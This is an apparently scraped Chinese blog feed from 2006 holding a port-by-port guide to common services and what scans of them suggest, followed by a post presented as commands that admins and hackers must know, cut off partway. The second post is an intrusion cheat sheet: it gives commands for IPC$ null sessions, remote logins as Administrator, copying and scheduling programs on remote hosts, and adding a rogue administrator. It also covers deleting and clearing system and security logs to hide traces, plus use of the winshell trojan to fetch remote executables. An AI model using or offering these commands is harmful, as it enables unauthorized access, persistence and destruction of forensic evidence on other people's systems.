预留给个人用邮件系统 <br />25　smtp　Simple Mail Transfer　　　　　　 简单邮件发送协议 <br />27　nsw-fe　NSW User System FE　　　　　　 NSW 用户系统现场工程师 <br />29　msg-icp　MSG ICP　　　　　　　　　　　 MSG　ICP <br />31　msg-auth　MSG Authentication　　　　　 MSG验证 <br />33　dsp　Display Support Protocol　　　　　显示支持协议 <br />35　?　any private printer server　　　　　预留给个人打印机服务 <br />37　time　Time　　　　　　　　　　　　　　 时间 <br />38　rap　Route Access Protocol　　　　　　 路由访问协议 <br />39　rlp　Resource Location Protocol　　　　资源定位协议 <br />41　graphics　Graphics　　　　　　　　　　 图形 <br />42　nameserver　WINS Host Name Server　　　WINS 主机名服务 <br />43　nicname　Who Is　　　　　　　　　　　　"绰号" who is服务 <br />44　mpm-flags　MPM FLAGS Protocol　　　　　MPM(消息处理模块)标志协议 <br />45　mpm　Message Processing Module [recv]　消息处理模块　 <br />46　mpm-snd　MPM [default send]　　　　　　消息处理模块(默认发送口) <br />47　ni-ftp　NI FTP　　　　　　　　　　　　 NI FTP <br />48　auditd　Digital Audit Daemon　　　　　 数码音频后台服务　 <br />49　tacacs　Login Host Protocol (TACACS)　 TACACS登录主机协议 <br />50　re-mail-ck　Remote Mail Checking Protocol　远程邮件检查协议 <br />51　la-maint　IMP Logical Address Maintenance　IMP(接口信息处理机)逻辑地址维护 <br />52　xns-time　XNS Time Protocol　　　　　　施乐网络服务系统时间协议　　 <br />53　domain　Domain Name Server　　　　　　 域名服务器 <br />54　xns-ch　XNS Clearinghouse　　　　　　　施乐网络服务系统票据交换 <br />55　isi-gl　ISI Graphics Language　　　　　ISI图形语言 <br />56　xns-auth　XNS Authentication　　　　　 施乐网络服务系统验证 <br />57　?　any private terminal access　　　　 预留个人用终端访问 <br />58　xns-mail　XNS Mail　　　　　　　　　　 施乐网络服务系统邮件 <br />59　?　any private file service　　　　　　预留个人文件服务 <br />60　?　Unassigned　　　　　　　　　　　　　未定义 <br />61　ni-mail　NI MAIL　　　　　　　　　　　 NI邮件? <br />62　acas　ACA Services　　　　　　　　　　 异步通　 <br />63　whois+ whois+　　　　　　　　　　　　　 WHOIS+ <br />64　covia　Communications Integrator (CI)　通讯接口　 <br />65　tacacs-ds　TACACS-Database Service　　 TACACS数据库服务 <br />66　sql*net　Oracle SQL*NET　　　　　　　　Oracle SQL*NET <br />67　bootps　Bootstrap Protocol Server　　　引导程序协议服务端 <br />68　bootpc　Bootstrap Protocol Client　　　引导程序协议客户端 <br />69　tftp　Trivial File Transfer　　　　　　小型文件传输协议 <br />70　gopher　Gopher　　　　　　　　　　　　 信息检索协议 <br />71　netrjs-1　Remote Job Service　　　　　 远程作业服务 <br />72　netrjs-2　Remote Job Service　　　　　 远程作业服务 <br />73　netrjs-3　Remote Job Service　　　　　 远程作业服务 <br />74　netrjs-4　Remote Job Service　　　　　 远程作业服务 <br />75　?　any private dial out service　　　　预留给个人拨出服务 <br />76　deos　Distributed External Object Store 分布式外部对象存储　 <br />77　?　any private RJE service　　　　　　预留给个人远程作业输入服务 <br />78　vettcp　vettcp　　　　　　　　　　　　 修正TCP? <br />79　finger　Finger　　　　　　　　　　　　 FINGER(查询远程主机在线用户等信息) <br />80　http　World Wide Web HTTP　　　　　　　全球信息网超文本传输协议 <br />81　hosts2-ns　HOSTS2 Name Server　　　　　HOST2名称服务 <br />82　xfer　XFER Utility　　　　　　　　　　 传输实用程序 <br />83　mit-ml-dev　MIT ML Device　　　　　　　模块化智能终端ML设备 <br />84　ctf　Common Trace Facility　　　　　　 公用追踪设备 <br />85　mit-ml-dev　MIT ML Device　　　　　　　模块化智能终端ML设备 <br />86　mfcobol　Micro Focus Cobol　　　　　　 Micro Focus Cobol编程语言 <br />87　?　any private terminal link　　　　　 预留给个人终端连接 <br />88　kerberos　Kerberos　　　　　　　　　　 Kerberros安全认证系统 <br />89　su-mit-tg　SU/MIT Telnet Gateway　　　 SU/MIT终端仿真网关 <br />90　dnsix　DNSIX Securit Attribute Token Map　DNSIX 安全属性标记图　 <br />91　mit-dov　MIT Dover Spooler　　　　　　 MIT Dover假脱机 <br />92　npp　Network Printing Protocol　　　　 网络打印协议 <br />93　dcp　Device Control Protocol　　　　　 设备控制协议 <br />94　objcall　Tivoli Object Dispatcher　　　Tivoli对象调度 <br />95　supdup　SUPDUP　　　　　　　　　　　　 <br />96　dixie　DIXIE Protocol Specification　　DIXIE协议规范 <br />97ft-rvfft Remote Virtural File Protocol　快速远程虚拟文件协议　 <br />98　tacnews　TAC News　　　　　　　　　　　TAC(东京大学自动计算机?)新闻协议 <br />99　metagram　Metagram Relay　　　　　　　 <br />101/tcp hostname NIC Host Name Server <br />102/tcp iso-tsap ISO-TSAP Class 0 <br />103/tcp gppitnp Genesis Point-to-Point Trans Net <br />104/tcp acr-nema ACR-NEMA Digital Imag. &amp; Comm. 300 <br />105/tcp cso CCSO name server protocol <br />105/tcp csnet-ns Mailbox Name Nameserver <br />106/tcp 3com-tsmux 3COM-TSMUX <br />107/tcp rtelnet Remote Telnet Service <br />108/tcp snagas SNA Gateway Access Server <br />109/tcp pop2 Post Office Protocol - Version 2 <br />110/tcp pop3 Post Office Protocol - Version 3 <br />111/tcp sunrpc SUN Remote Procedure Call <br />112/tcp mcidas McIDAS Data Transmission Protocol <br />113/tcp ident <br />114/tcp audionews Audio News Multicast <br />115/tcp sftp Simple File Transfer Protocol <br />116/tcp ansanotify ANSA REX Notify <br />117/tcp uucp-path UUCP Path Service <br />118/tcp sqlserv SQL Services <br />119/tcp nntp Network News Transfer Protocol <br />120/tcp cfdptkt CFDPTKT <br />121/tcp erpc Encore Expedited Remote Pro.Call <br />122/tcp smakynet SMAKYNET <br />123/tcp ntp Network Time Protocol <br />124/tcp ansatrader ANSA REX Trader <br />125/tcp locus-map Locus PC-Interface Net Map Ser <br />126/tcp unitary Unisys Unitary Login <br />127/tcp locus-con Locus PC-Interface Conn Server <br />128/tcp gss-xlicen GSS X License Verification <br />129/tcp pwdgen Password Generator Protocol <br />130/tcp cisco-fna cisco FNATIVE <br />131/tcp cisco-tna cisco TNATIVE <br />132/tcp cisco-sys cisco SYSMAINT <br />133/tcp statsrv Statistics Service <br />134/tcp ingres-net INGRES-NET Service <br />135/tcp epmap DCE endpoint resolution <br />136/tcp profile PROFILE Naming System <br />137/tcp netbios-ns NETBIOS Name Service <br />138/tcp netbios-dgm NETBIOS Datagram Service<br />139/tcp netbios-ssn NETBIOS Session Service <br />140/tcp emfis-data EMFIS Data Service <br />141/tcp emfis-cntl EMFIS Control Service <br />142/tcp bl-idm Britton-Lee IDM <br />143/tcp imap Internet Message Access Protocol <br />144/tcp uma Universal Management Architecture <br />145/tcp uaac UAAC Protocol <br />146/tcp iso-tp0 ISO-IP0 <br />147/tcp iso-ip ISO-IP <br />148/tcp jargon Jargon <br />149/tcp aed-512 AED 512 Emulation Service <br />150/tcp sql-net SQL-NET <br />151/tcp hems HEMS <br />152/tcp bftp Background File Transfer Program <br />153/tcp sgmp SGMP <br />154/tcp netsc-prod NETSC <br />155/tcp netsc-dev NETSC <br />156/tcp sqlsrv SQL Service <br />157/tcp knet-cmp KNET/VM Command/Message Protocol <br />158/tcp pcmail-srv PCMail Server <br />159/tcp nss-routing NSS-Routing <br />160/tcp sgmp-traps SGMP-TRAPS <br />161/tcp snmp SNMP <br />162/tcp snmptrap SNMPTRAP <br />163/tcp cmip-man CMIP/TCP Manager <br />164/tcp cmip-agent CMIP/TCP Agent <br />165/tcp xns-courier Xerox <br />166/tcp s-net Sirius Systems <br />167/tcp namp NAMP <br />168/tcp rsvd RSVD <br />169/tcp send SEND <br />170/tcp print-srv Network PostScript <br />171/tcp multiplex Network Innovations Multiplex <br />172/tcp cl/1 Network Innovations CL/1 <br />173/tcp xyplex-mux Xyplex <br />174/tcp mailq MAILQ <br />175/tcp vmnet VMNET <br />176/tcp genrad-mux GENRAD-MUX <br />177/tcp xdmcp X Display Manager Control Protocol <br />178/tcp nextstep NextStep Window Server <br />179/tcp bgp Border Gateway Protocol <br />180/tcp ris Intergraph <br />181/tcp unify Unify <br />182/tcp audit Unisys Audit SITP <br />183/tcp ocbinder OCBinder <br />184/tcp ocserver OCServer <br />185/tcp remote-kis Remote-KIS <br />186/tcp kis KIS Protocol <br />187/tcp aci Application Communication Interface <br />188/tcp mumps Plus Five磗 MUMPS <br />189/tcp qft Queued File Transport <br />190/tcp gacp Gateway Access Control Protocol <br />191/tcp prospero Prospero Directory Service <br />192/tcp osu-nms OSU Network Monitoring System <br />193/tcp srmp Spider Remote Monitoring Protocol <br />194/tcp irc Internet Relay Chat Protocol <br />195/tcp dn6-nlm-aud DNSIX Network Level Module Audit <br />196/tcp dn6-smm-red DNSIX Session Mgt Module Audit Redir <br />197/tcp dls Directory Location Service <br />198/tcp dls-mon Directory Location Service Monitor <br />199/tcp smux SMUX <br />200/tcp src IBM System Resource Controller <br />201/tcp at-rtmp AppleTalk Routing Maintenance <br />202/tcp at-nbp AppleTalk Name Binding <br />203/tcp at-3 AppleTalk Unused <br />204/tcp at-echo AppleTalk Echo <br />205/tcp at-5 AppleTalk Unused <br />206/tcp at-zis AppleTalk Zone Information <br />207/tcp at-7 AppleTalk Unused <br />208/tcp at-8 AppleTalk Unused <br />209/tcp qmtp The Quick Mail Transfer Protocol <br />210/tcp z39.50 ANSI Z39.50 <br />211/tcp 914c/g Texas Instruments 914C/G Terminal <br />212/tcp anet ATEXSSTR <br />214/tcp vmpwscs VM PWSCS <br />215/tcp softpc Insignia Solutions <br />216/tcp CAIlic Computer Associates Int磍 License Server <br />217/tcp dbase dBASE Unix <br />218/tcp mpp Netix Message Posting Protocol <br />219/tcp uarps Unisys ARPs <br />220/tcp imap3 Interactive Mail Access Protocol v3 <br />221/tcp fln-spx Berkeley rlogind with SPX auth <br />222/tcp rsh-spx Berkeley rshd with SPX auth <br />223/tcp cdc Certificate Distribution Center <br />242/tcp direct Direct <br />243/tcp sur-meas Survey Measurement <br />244/tcp dayna Dayna <br />245/tcp link LINK <br />246/tcp dsp3270 Display Systems Protocol <br />247/tcp subntbcst_tftp SUBNTBCST_TFTP <br />248/tcp bhfhs bhfhs <br />256/tcp rap RAP <br />257/tcp set Secure Electronic Transaction <br />258/tcp yak-chat Yak Winsock Personal Chat <br />259/tcp esro-gen Efficient Short Remote Operations <br />260/tcp openport Openport <br />263/tcp hdap HDAP <br />264/tcp bgmp BGMP <br />280/tcp http-mgmt http-mgmt <br />309/tcp entrusttime EntrustTime <br />310/tcp bhmds bhmds <br />312/tcp vslmp VSLMP <br />315/tcp dpsi DPSI <br />316/tcp decauth decAuth <br />317/tcp zannet Zannet <br />321/tcp pip PIP <br />344/tcp pdap Prospero Data Access Protocol <br />345/tcp pawserv Perf Analysis Workbench <br />346/tcp zserv Zebra server <br />347/tcp fatserv Fatmen Server <br />348/tcp csi-sgwp Cabletron Management Protocol <br />349/tcp mftp mftp <br />351/tcp matip-type-b MATIP Type B <br />351/tcp bhoetty bhoetty (added 5/21/97) <br />353/tcp ndsauth NDSAUTH <br />354/tcp bh611 bh611 <br />357/tcp bhevent bhevent <br />362/tcp srssend SRS Send <br />365/tcp dtk DTK <br />366/tcp odmr ODMR <br />368/tcp qbikgdp QbikGDP <br />371/tcp clearcase Clearcase <br />372/tcp ulistproc ListProcessor <br />373/tcp legent-1 Legent Corporation <br />374/tcp legent-2<br />0 通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口，当你试图使用一种通常的闭合端口连接它时将产生不同的结果。一种典型的扫描：使用IP地址为0.0.0.0，设置ACK位并在以太网层广播。<br /><br />1 tcpmux 这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者，缺省情况下tcpmux在这种系统中被打开。Iris机器在发布时含有几个缺省的无密码的帐户，如lp, guest, uucp, nuucp, demos, tutor, diag, EZsetup, OutOfBox, 和4Dgifts。许多管理员安装后忘记删除这些帐户。因此Hacker们在Internet上搜索tcpmux并利用这些帐户。 <br /><br />7 Echo 你能看到许多人们搜索Fraggle放大器时，发送到x.x.x.0和x.x.x.255的信息。常见的一种DoS攻击是echo循环（echo-loop），攻击者伪造从一个机器发送到另一个机器的UDP数据包，而两个机器分别以它们最快的方式回应这些数据包。另一种东西是由DoubleClick在词端口建立的TCP连接。有一种产品叫做“Resonate Global Dispatch”，它与DNS的这一端口连接以确定最近的路由。Harvest/squid cache将从3130端口发送UDP echo：“如果将cache的source_ping on选项打开，它将对原始主机的UDP echo端口回应一个HIT reply。”这将会产生许多这类数据包。<br /><br />11 sysstat 这是一种UNIX服务，它会列出机器上所有正在运行的进程以及是什么启动了这些进程。这为入侵者提供了许多信息而威胁机器的安全，如暴露已知某些弱点或帐户的程序。这与UNIX系统中“ps”命令的结果相似。再说一遍：ICMP没有端口，ICMP port 11通常是ICMP type=11。<br /><br />19 chargen 这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾字符的包。TCP连接时，会发送含有垃圾字符的数据流知道连接关闭。Hacker利用IP欺骗可以发动DoS攻击。伪造两个chargen服务器之间的UDP包。由于服务器企图回应两个服务器之间的无限的往返数据通讯一个chargen和echo将导致服务器过载。同样fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包，受害者为了回应这些数据而过载。<br /><br />21 ftp 最常见的攻击者用于寻找打开“anonymous”的ftp服务器的方法。这些服务器带有可读写的目录。Hackers或Crackers 利用这些服务器作为传送warez (私有程序) 和pr0n(故意拼错词而避免被搜索引擎分类)的节点。<br /><br />22 ssh PcAnywhere 建立TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点。如果配置成特定的模式，许多使用RSAREF库的版本有不少漏洞。（建议在其它端口运行ssh）。还应该注意的是ssh工具包带有一个称为make-ssh-known-hosts的程序。它会扫描整个域的ssh主机。你有时会被使用这一程序的人无意中扫描到。UDP（而不是TCP）与另一端的5632端口相连意味着存在搜索pcAnywhere的扫描。5632（十六进制的0x1600）位交换后是0x0016（使进制的22）。<br /><br />23 Telnet 入侵者在搜索远程登陆UNIX的服务。大多数情况下入侵者扫描这一端口是为了找到机器运行的操作系统。此外使用其它技术，入侵者会找到密码。<br /><br />25 smtp 攻击者（spammer）寻找SMTP服务器是为了传递他们的spam。入侵者的帐户总被关闭，他们需要拨号连接到高带宽的e-mail服务器上，将简单的信息传递到不同的地址。SMTP服务器（尤其是sendmail）是进入系统的最常用方法之一，因为它们必须完整的暴露于Internet且邮件的路由是复杂的（暴露+复杂=弱点）。<br /><br />53 DNS Hacker或crackers可能是试图进行区域传递（TCP），欺骗DNS（UDP）或隐藏其它通讯。因此防火墙常常过滤或记录53端口。需要注意的是你常会看到53端口做为UDP源端口。不稳定的防火墙通常允许这种通讯并假设这是对DNS查询的回复。Hacker常使用这种方法穿透防火墙。<br /><br />67&amp;68 Bootp和DHCP UDP上的Bootp/DHCP：通过DSL和cable-modem的防火墙常会看见大量发送到广播地址255.255.255.255的数据。这些机器在向DHCP服务器请求一个地址分配。Hacker常进入它们分配一个地址把自己作为局部路由器而发起大量的“中间人”（man-in-middle）攻击。客户端向68端口（bootps）广播请求配置，服务器向67端口（bootpc）广播回应请求。这种回应使用广播是因为客户端还不知道可以发送的IP地址。<br /><br />69 TFTP(UDP) 许多服务器与bootp一起提供这项服务，便于从系统下载启动代码。但是它们常常错误配置而从系统提供任何文件，如密码文件。它们也可用于向系统写入文件。<br /><br />79 finger Hacker用于获得用户信息，查询操作系统，探测已知的缓冲区溢出错误，回应从自己机器到其它机器finger扫描。<br /><br />98 linuxconf 这个程序提供linux boxen的简单管理。通过整合的HTTP服务器在98端口提供基于Web界面的服务。它已发现有许多安全问题。一些版本setuid root，信任局域网，在/tmp下建立Internet可访问的文件，LANG环境变量有缓冲区溢出。此外因为它包含整合的服务器，许多典型的HTTP漏洞可能存在（缓冲区溢出，历遍目录等）<br /><br />109 POP2 并不象POP3那样有名，但许多服务器同时提供两种服务（向后兼容）。在同一个服务器上POP3的漏洞在POP2中同样存在。<br /><br />110 POP3 用于客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交换缓冲区溢出的弱点至少有20个（这意味着Hacker可以在真正登陆前进入系统）。成功登陆后还有其它缓冲区溢出错误。<br /><br />111 sunrpc portmap rpcbind Sun RPC PortMapper/RPCBIND。访问portmapper是扫描系统查看允许哪些RPC服务的最早的一步。常见RPC服务有：rpc.mountd, NFS, rpc.statd, rpc.csmd, rpc.ttybd, amd等。入侵者发现了允许的RPC服务将转向提供服务的特定端口测试漏洞。记住一定要记录线路中的daemon, IDS, 或sniffer，你可以发现入侵者正使用什么程序访问以便发现到底发生了什么。<br /><br />113 Ident auth 这是一个许多机器上运行的协议，用于鉴别TCP连接的用户。使用标准的这种服务可以获得许多机器的信息（会被Hacker利用）。但是它可作为许多服务的记录器，尤其是FTP, POP, IMAP, SMTP和IRC等服务。通常如果有许多客户通过防火墙访问这些服务，你将会看到许多这个端口的连接请求。记住，如果你阻断这个端口客户端会感觉到在防火墙另一边与e-mail服务器的缓慢连接。许多防火墙支持在TCP连接的阻断过程中发回RST，着将回停止这一缓慢的连接。<br /><br />119 NNTP news 新闻组传输协议，承载USENET通讯。当你链接到诸如：news://comp.security.firewalls/. 的地址时通常使用这个端口。这个端口的连接企图通常是人们在寻找USENET服务器。多数ISP限制只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子，访问被限制的新闻组服务器，匿名发帖或发送spam。<br /><br />135 oc-serv MS RPC end-point mapper Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和/或RPC的服务利用机器上的end-point mapper注册它们的位置。远端客户连接到机器时，它们查询end-point mapper找到服务的位置。同样Hacker扫描机器的这个端口是为了找到诸如：这个机器上运行Exchange Server吗？是什么版本？这个端口除了被用来查询服务（如使用epdump）还可以被用于直接攻击。有一些DoS攻击直接针对这个端口。<br /><br />137 NetBIOS name service nbtstat (UDP) 这是防火墙管理员最常见的信息。<br /><br />139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于Windows“文件和打印机共享”和SAMBA。在Internet上共享自己的硬盘是可能是最常见的问题。大量针对这一端口始于1999，后来逐渐变少。2000年又有回升。一些VBS（IE5 VisualBasic Scripting）开始将它们自己拷贝到这个端口，试图在这个端口繁殖。<br /><br />143 IMAP 和上面POP3的安全问题一样，许多IMAP服务器有缓冲区溢出漏洞运行登陆过程中进入。记住：一种Linux蠕虫（admw0rm）会通过这个端口繁殖，因此许多这个端口的扫描来自不知情的已被感染的用户。当RadHat在他们的Linux发布版本中默认允许IMAP后，这些漏洞变得流行起来。Morris蠕虫以后这还是第一次广泛传播的蠕虫。这一端口还被用于IMAP2，但并不流行。已有一些报道发现有些0到143端口的攻击源于脚本。<br /><br />161 SNMP(UDP) 入侵者常探测的端口。SNMP允许远程管理设备。所有配置和运行信息都储存在数据库中，通过SNMP客获得这些信息。许多管理员错误配置将它们暴露于Internet。Crackers将试图使用缺省的密码“public”“private”访问系统。他们可能会试验所有可能的组合。SNMP包可能会被错误的指向你的网络。Windows机器常会因为错误配置将HP JetDirect remote management软件使用SNMP。HP OBJECT IDENTIFIER将收到SNMP包。新版的Win98使用SNMP解析域名，你会看见这种包在子网内广播（cable modem, DSL）查询sysName和其它信息。<br /><br />162 SNMP trap 可能是由于错误配置<br /><br />177 xdmcp 许多Hacker通过它访问X-Windows控制台， 它同时需要打开6000端口。<br /><br />513 rwho 可能是从使用cable modem或DSL登陆到的子网中的UNIX机器发出的广播。这些人为Hacker进入他们的系统提供了很有趣的信息。<br /><br />553 CORBA IIOP (UDP) 如果你使用cable modem或DSL VLAN，你将会看到这个端口的广播。CORBA是一种面向对象的RPC（remote procedure call）系统。Hacker会利用这些信息进入系统。<br /><br />600 Pcserver backdoor 请查看1524端口。 <br />一些玩script的孩子认为他们通过修改ingreslock和pcserver文件已经完全攻破了系统-- Alan J. Rosenthal. <br /><br />635 mountd Linux的mountd Bug。这是人们扫描的一个流行的Bug。大多数对这个端口的扫描是基于UDP的，但基于TCP的mountd有所增加（mountd同时运行于两个端口）。记住，mountd可运行于任何端口（到底在哪个端口，需要在端口111做portmap查询），只是Linux默认为635端口，就象NFS通常运行于2049端口。<br /><br />1024 许多人问这个端口是干什么的。它是动态端口的开始。许多程序并不在乎用哪个端口连接网络，它们请求操作系统为它们分配“下一个闲置端口”。基于这一点分配从端口1024开始。这意味着第一个向系统请求分配动态端口的程序将被分配端口1024。为了验证这一点，你可以重启机器，打开Telnet，再打开一个窗口运行“natstat -a”，你将会看到Telnet被分配1024端口。请求的程序越多，动态端口也越多。操作系统分配的端口将逐渐变大。再来一遍，当你浏览Web页时用“netstat”查看，每个Web页需要一个新端口。<br /><br />1025，1026 参见1024<br /><br />1080 SOCKS 这一协议以管道方式穿过防火墙，允许防火墙后面的许多人通过一个IP地址访问Internet。理论上它应该只允许内部的通信向外达到Internet。但是由于错误的配置，它会允许Hacker/Cracker的位于防火墙外部的攻击穿过防火墙。或者简单地回应位于Internet上的计算机，从而掩饰他们对你的直接攻击。WinGate是一种常见的Windows个人防火墙，常会发生上述的错误配置。在加入IRC聊天室时常会看到这种情况。<br /><br />1114 SQL 系统本身很少扫描这个端口，但常常是sscan脚本的一部分。<br /><br /><br />1243 Sub-7木马（TCP）<br /><br />1524 ingreslock 后门许多攻击脚本将安装一个后门Shell于这个端口（尤其是那些针对Sun系统中sendmail和RPC服务漏洞的脚本，如statd, ttdbserver和cmsd）。如果你刚刚安装了你的防火墙就看到在这个端口上的连接企图，很可能是上述原因。你可以试试Telnet到你的机器上的这个端口，看看它是否会给你一个Shell。连接到600/pcserver也存在这个问题。<br /><br />2049 NFS NFS程序常运行于这个端口。通常需要访问portmapper查询这个服务运行于哪个端口，但是大部分情况是安装后NFS运行于这个端口，Hacker/Cracker因而可以闭开portmapper直接测试这个端口。<br /><br />3128 squid 这是Squid HTTP代理服务器的默认端口。攻击者扫描这个端口是为了搜寻一个代理服务器而匿名访问Internet。你也会看到搜索其它代理服务器的端口：8000/8001/8080/8888。扫描这一端口的另一原因是：用户正在进入聊天室。其它用户（或服务器本身）也会检验这个端口以确定用户的机器是否支持代理。<br /><br />5632 pcAnywere 你会看到很多这个端口的扫描，这依赖于你所在的位置。当用户打开pcAnywere时，它会自动扫描局域网C类网以寻找可能得代理（译者：指agent而不是proxy）。Hacker/cracker也会寻找开放这种服务的机器，所以应该查看这种扫描的源地址。一些搜寻pcAnywere的扫描常包含端口22的UDP数据包。<br /><br />6776 Sub-7 artifact 这个端口是从Sub-7主端口分离出来的用于传送数据的端口。例如当控制者通过电话线控制另一台机器，而被控机器挂断时你将会看到这种情况。因此当另一人以此IP拨入时，他们将会看到持续的，在这个端口的连接企图。（译者：即看到防火墙报告这一端口的连接企图时，并不表示你已被Sub-7控制。）<br /><br />6970 RealAudio RealAudio客户将从服务器的6970-7170的UDP端口接收音频数据流。这是由TCP7070端口外向控制连接设置的。<br /><br />13223 PowWow PowWow 是Tribal Voice的聊天程序。它允许用户在此端口打开私人聊天的连接。这一程序对于建立连接非常具有“进攻性”。它会“驻扎”在这一TCP端口等待回应。这造成类似心跳间隔的连接企图。如果你是一个拨号用户，从另一个聊天者手中“继承”了IP地址这种情况就会发生：好象很多不同的人在测试这一端口。这一协议使用“OPNG”作为其连接企图的前四个字节。<br /><br />17027 Conducent 这是一个外向连接。这是由于公司内部有人安装了带有Conducent "adbot" 的共享软件。Conducent "adbot"是为共享软件显示广告服务的。使用这种服务的一种流行的软件是Pkware。有人试验：阻断这一外向连接不会有任何问题，但是封掉IP地址本身将会导致adbots持续在每秒内试图连接多次而导致连接过载： <br />机器会不断试图解析DNS名—ads.conducent.com，即IP地址216.33.210.40 ；216.33.199.77 ；216.33.199.80 ；216.33.199.81；216.33.210.41。（译者：不知NetAnts使用的Radiate是否也有这种现象） <br /><br /><br />27374 Sub-7木马(TCP) <br /><br />30100 NetSphere木马(TCP) 通常这一端口的扫描是为了寻找中了NetSphere木马。<br /><br />31337 Back Orifice “elite” Hacker中31337读做“elite”/ei’li:t/（译者：法语，译为中坚力量，精华。即3=E, 1=L, 7=T）。因此许多后门程序运行于这一端口。其中最有名的是Back Orifice。曾经一段时间内这是Internet上最常见的扫描。现在它的流行越来越少，其它的木马程序越来越流行。<br /><br />31789 Hack-a-tack 这一端口的UDP通讯通常是由于"Hack-a-tack"远程访问木马（RAT, Remote Access Trojan）。这种木马包含内置的31790端口扫描器，因此任何31789端口到317890端口的连接意味着已经有这种入侵。（31789端口是控制连接，317890端口是文件传输连接） <br /><br />32770~32900 RPC服务 Sun Solaris的RPC服务在这一范围内。详细的说：早期版本的Solaris（2.5.1之前）将portmapper置于这一范围内，即使低端口被防火墙封闭仍然允许Hacker/cracker访问这一端口。扫描这一范围内的端口不是为了寻找portmapper，就是为了寻找可被攻击的已知的RPC服务。<br /><br />33434~33600 traceroute 如果你看到这一端口范围内的UDP数据包（且只在此范围之内）则可能是由于traceroute。参见本站相关部分。 </div>
														</td>
												</tr>
										</tbody>
								</table>
						</b>
				</span>
		</div>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/20760.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-19 10:25 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20760.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>网管和黑客都必须知道的命令</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20730.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 18 Dec 2006 03:12:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20730.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20730.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20730.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20730.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20730.html</trackback:ping><description><![CDATA[
		<table cellspacing="0" cellpadding="0" width="558" border="0">
				<tbody>
						<tr>
								<td valign="center" align="right" colspan="2" height="32">
										<div class="style7" align="center">
												<span style="FONT-SIZE: 12pt">
														<b>网管和黑客都必须知道的命令</b>
												</span>
										</div>
								</td>
						</tr>
						<tr>
								<td valign="center" align="right" bgcolor="#000000" colspan="2" height="1">
								</td>
						</tr>
						<tr>
								<td valign="center" align="right" colspan="2" height="20">
								</td>
						</tr>
						<tr>
								<td valign="top" align="right" colspan="2" height="10">
								</td>
						</tr>
						<tr>
								<td valign="top" align="right" width="2%" height="10">
										<div align="left">
										</div>
								</td>
								<td valign="top" align="right" width="98%" bgcolor="#ffffff">
										<div class="daxiao14" align="left">
												<span class="main">常用的几条NET命令： <br /><br />================================================== <br /><br />（与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:"" <br /><br />（以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator" <br /><br />（传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$ <br /><br />（查看远程主机时间） net time \\IP地址 <br /><br />（定时启动某个程序） at \\IP地址 02:18 readme.exe <br /><br />（查看共享） net view \\IP地址 <br /><br />（查看netbios工作组列表） nbtstat -A IP地址 <br /><br />（将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator" <br /><br />（这两条把自己增加到管理员组）： net user 用户名 密码 /add <br /><br />net localgroup Administrators 用户名 /add <br /><br />（断开连接） net use \\IP地址\ipc$ /delete <br /><br />===================================================== <br /><br />擦屁屁： <br /><br />del C:\winnt\system32\logfiles\*.* <br /><br />del C:\winnt\ssytem32\config\*.evt <br /><br />del C:\winnt\system32\dtclog\*.* <br /><br />del C:\winnt\system32\*.log <br /><br />del C:\winnt\system32\*.txt <br /><br />del C:\winnt\*.txt <br /><br />del C:\winnt\*.log <br /><br />============================ <br /><br />一、netsvc.exe <br /><br />下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务： <br /><br />netsvc /list \\IP地址 <br /><br />netsvc schedule \\IP地址 /query <br /><br />netsvc \\IP地址 schedule /start <br /><br />二、OpenTelnet.exe <br /><br />远程启动主机的Telnet服务，并绑定端口到7878，例如： <br /><br />OpenTelnet \\IP地址 用户名 密码 1 7878 <br /><br />然后就可以telnet到主机的7878端口，进入DOS方式下： <br /><br />telnet IP地址 7878 <br /><br />三、winshell.exe <br /><br />一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD&gt;后，可打下面的命令： <br /><br />p Path （查看winshell主程序的路径信息） <br /><br />b reBoot （重新启动机器） <br /><br />d shutDown （关闭机器） <br /><br />s Shell （执行后你就会看到可爱的“C:\&gt;”） <br /><br />x eXit （退出本次登录会话，此命令并不终止winshell的运行） <br /><br />CMD&gt; http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上） <br /><br />四、3389登陆器，GUI方式登录远程主机的 <br /><br />五、elsave.exe <br /><br />事件日志清除工具 <br /><br />elsave -s \\IP地址 -l "application" -C <br /><br />elsave -s \\IP地址 -l "system" -C <br /><br />elsave -s \\IP地址 -l "security" -C <br /><br />执行后成功清除应用程序日志，系统日志，安全日志 <br /><br />六、hbulot.exe <br /><br />开启win2kserver和winxp的3389服务 <br /><br />hbulot [/r] <br /><br />使用/r表示安装完成后自动重起目标使设置生效。 <br /><br />七、nc.exe(netcat.exe) <br /><br 